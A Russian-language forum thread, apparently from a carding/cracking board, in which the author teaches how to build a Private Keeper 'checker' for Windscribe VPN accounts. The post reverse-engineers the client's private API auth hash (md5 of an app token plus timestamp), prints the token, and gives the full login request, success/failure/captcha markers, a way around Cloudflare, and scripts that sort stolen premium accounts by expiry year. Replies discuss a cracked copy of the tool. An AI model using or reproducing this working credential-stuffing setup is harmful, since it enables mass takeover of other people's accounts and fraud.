Загрузка...

[Урок по PK] Пишем чекер. Обходим капчу и разные токены

Тема в разделе Private Keeper, BAS, OB создана пользователем _Skill_ 12 июл 2019. 3057 просмотров

Загрузка...
  1. _Skill_
    _Skill_ Автор темы 12 июл 2019 1015 25 июн 2018
    Итак, сегодня я научу вас обходить капчу и мусор при написании чекера
    Возьмем сайт https://windscribe.com
    Сниффим обычную web авторизацию
    Видим, что в запросе куча мусора
    [IMG]
    + вылазит такая хрень
    [IMG]
    Такая авторизация нам не подходит
    Скачиваем windscribe на пк
    идем сюда
    [IMG]
    переключаем на http
    запускаем fiddler, или другой sniffer
    [IMG]
    вписываем в windscribe
    [IMG]
    пробуем авторизоваться, обычно такие клиенты работают по закрытому api без мусора
    [IMG]
    соглашаемся
    И в fiddler появился запрос
    [IMG]
    Как видим без мусора в виде токенов, но так же появился параметр client_auth_hash
    Дальше умение гуглить
    Вот, что удалось найти мне
    Ссылка https://github.com/Windscribe/brows...master/common/scripts/background/Utilities.js
    Ищем на странице client
    [IMG]
    Алгоритм cleint_auth_hash оказался простым
    (Токен приложения + timestamp) в md5
    Теперь киппер:
    Будет всего один запрос + немного js
    Код

    В url -> https://api.windscribe.com/Session
    В пост данные -> username=|LOGIN|&password=|PWD|&session_type_id=3&time=|TIMESTAMP|&client_auth_hash=(|MD5|952b4412f002315aa50751032fcaab03|TIMESTAMP||MD5|)
    Определение гуда -> 201 Created|pos>0||HEADERS|
    Бэда -> "errorCode": 702|pos>0||RESPONSE||OR|"errorCode": 502|pos>0||RESPONSE|
    Капчи -> <html><body>|pos>0||RESPONSE||OR|Attention Required! | Cloudflare|pos>0||RESPONSE||OR|yjs-captcha-container|pos>0||RESPONSE||OR|502 Bad Gateway|pos>0||HEADERS|
    Да, cloudflare мешает сильно, но тут только хорошие ******
    Проверяем
    [IMG]
    Будем парсить все возможное
    А именно username, traffic_used, traffic_max, email, is_premium, reg_date, last_reset.
    is_premium будем заменять на "-" в случае, если он 0, и на expires, если 1(дальше узнаете почему)
    [IMG]
    Дальше нужно узнать как отображается pro аккаунт
    Пришлось потратиться и купить
    Чекаем с pro акком
    [IMG]
    Нужные нам значения: premium_expiry_date и rebill
    Перейдем к логу
    Добавляем динам переменную traffleft
    Теперь js
    Объяснять не вижу смысла, это уже яп
    Код

    #beginScript
    |DV|[traffleft]=(|EVAL|
    var s = (|MATH||PARS|[3]-|PARS|[2]|MATH|)
    function bytesToSize(bytes) {
    var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
    if (bytes == 0) return '0 Byte';
    var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
    return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
    }
    bytesToSize(s)
    |EVAL|)
    #endScript

    #beginScript
    |PARS|[3]=(|EVAL|
    var s = |PARS|[3]
    function bytesToSize(bytes) {
    var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
    if (bytes == 0) return '0 Byte';
    var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
    return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
    }
    bytesToSize(s)
    |EVAL|)
    #endScript

    #beginScript
    |PARS|[2]=(|EVAL|
    var s = |PARS|[2]
    function bytesToSize(bytes) {
    var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
    if (bytes == 0) return '0 Byte';
    var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
    return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
    }
    bytesToSize(s)
    |EVAL|)
    #endScript

    #beginScript
    |PARS|[6]=(|EVAL|
    var s = |PARS|[6]
    function timeConverter(UNIX_timestamp){
    var a = new Date(UNIX_timestamp * 1000);
    var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
    var year = a.getFullYear();
    var month = months[a.getMonth()];
    var date = a.getDate();
    var hour = a.getHours();
    var min = a.getMinutes();
    var sec = a.getSeconds();
    var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec ;
    return time;
    }
    timeConverter(s)
    |EVAL|)
    #endScript

    #beginScript
    |PARS|[8]=(|EVAL|
    var d = '|PARS|[8]';
    function normal(d) {
    var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
    d = d.split('-');
    var month = d[1];
    var date = d[2];
    var year = d[0];
    var normal = date + ' ' + months[month] + ' ' + year;
    return normal;
    }
    normal(d)
    |EVAL|)
    #endScript
    Объясню только функции
    1. bytesToSize конвертирует байты в читаемый вид(kb. mb. gb)
    2. timeConverter из timestamp в дату
    3. normal из даты вида 2019-10-12 в 12 Nov 2019
    Сам лог получился такой
    Код

    ---------------------------------------
    |LOGIN|:|PWD|
    Username: |PARS|[1]
    Email: |PARS|[4]
    Premium: |PARS|[5](|REPLACESTR||IN| |PARS|[8] | |PARS|[9]|IN||FROM| undefined undefined | |FROM||TO||TO||
    IGNORECASE||REPLACESTR|)
    Traffic left: (|REPLACESTR||IN||DV|[traffleft]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)
    Traffic used: |PARS|[2]
    All traffic: (|REPLACESTR||IN||PARS|[3]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)
    Reg date: |PARS|[6]
    Last traffic reset: |PARS|[7]
    ---------------------------------------
    |PARS|[9] - это автопродление подписки pro (True/False)
    Теперь доп файлы
    Будут такие
    Premium.txt
    Emailpass.txt
    Loginpass.txt
    2019.txt
    2020.txt
    2021.txt
    2022.txt
    ...
    2035.txt
    То есть premium.txt со всеми премиум акками
    Emailpass/Loginpass - типо созание заточек(просто так, сомневаюсь, что из них что-то получится)
    Сортирока premium по годам до 2035
    Логическая операция: -|pos=0||PARS|[5]|AND|ТУТ ГОД ФАЙЛА|pos>0||PARS|[8]
    Проект написан
    Надеюсь хоть что-то было понятно
    Итог такой: если видите токены, которые нужно получать из html кода страницы, лучше ищите закрытое api. На нем скорее всего не будет никаких ограничений, и проект будет летать без пропусков
    Проект(открыт редакт): https://zelenka.guru/threads/1025653/
     
    12 июл 2019 Изменено
  2. RichAmiri
    RichAmiri 12 июл 2019 G 881 5 мар 2018
    Годно, спасибо)
     
  3. hxrt
    hxrt 12 июл 2019 мой тгк - t.me/nicetryss :doomer: 1566 7 июл 2018
    Скок PK стоит?
     
  4. _Skill_
    _Skill_ Автор темы 12 июл 2019 1015 25 июн 2018
    hxrt, кряк есть
     
  5. KillSeed
    KillSeed 12 июл 2019 Заблокирован(а)
    Нихуя не прочитал, но симпу влепил :finger_up:
     
  6. hxrt
    hxrt 12 июл 2019 мой тгк - t.me/nicetryss :doomer: 1566 7 июл 2018
    _Skill_, Так кряк кривой наверно , я видел его... но не качал там он и старый вроде..
     
  7. _Skill_
    _Skill_ Автор темы 12 июл 2019 1015 25 июн 2018
    hxrt, самый новый с 2018 года
     
  8. hxrt
    hxrt 12 июл 2019 мой тгк - t.me/nicetryss :doomer: 1566 7 июл 2018
    ссылку?
     
  9. _Skill_
    _Skill_ Автор темы 13 июл 2019 1015 25 июн 2018
  10. Пифагор
    Еба годнота, спасибули
     
  11. Пифагор
    _Skill_, [IMG] - что это за окошко? В какой проге?
     
  12. _Skill_
    _Skill_ Автор темы 15 июл 2019 1015 25 июн 2018
    в windscribe *** настройки ******
     
  13. Пифагор
    _Skill_, понял
    --- Сообщение объединено с предыдущим 15 июл 2019
    _Skill_, может быть такое что клиент не отправляет запрос или что-то типо такого?
     
  14. _Skill_
    _Skill_ Автор темы 15 июл 2019 1015 25 июн 2018
    Пифагор, нет, просто у него настройки ****** по умолчанию отключены, попробуй http analyzer v7
     
  15. Чивапчик
    Чивапчик 15 июл 2019 Заблокирован(а) 4176 5 фев 2018
    лучше бы видос,словами сложно
     
  16. Пифагор
    я и пробую
     
Top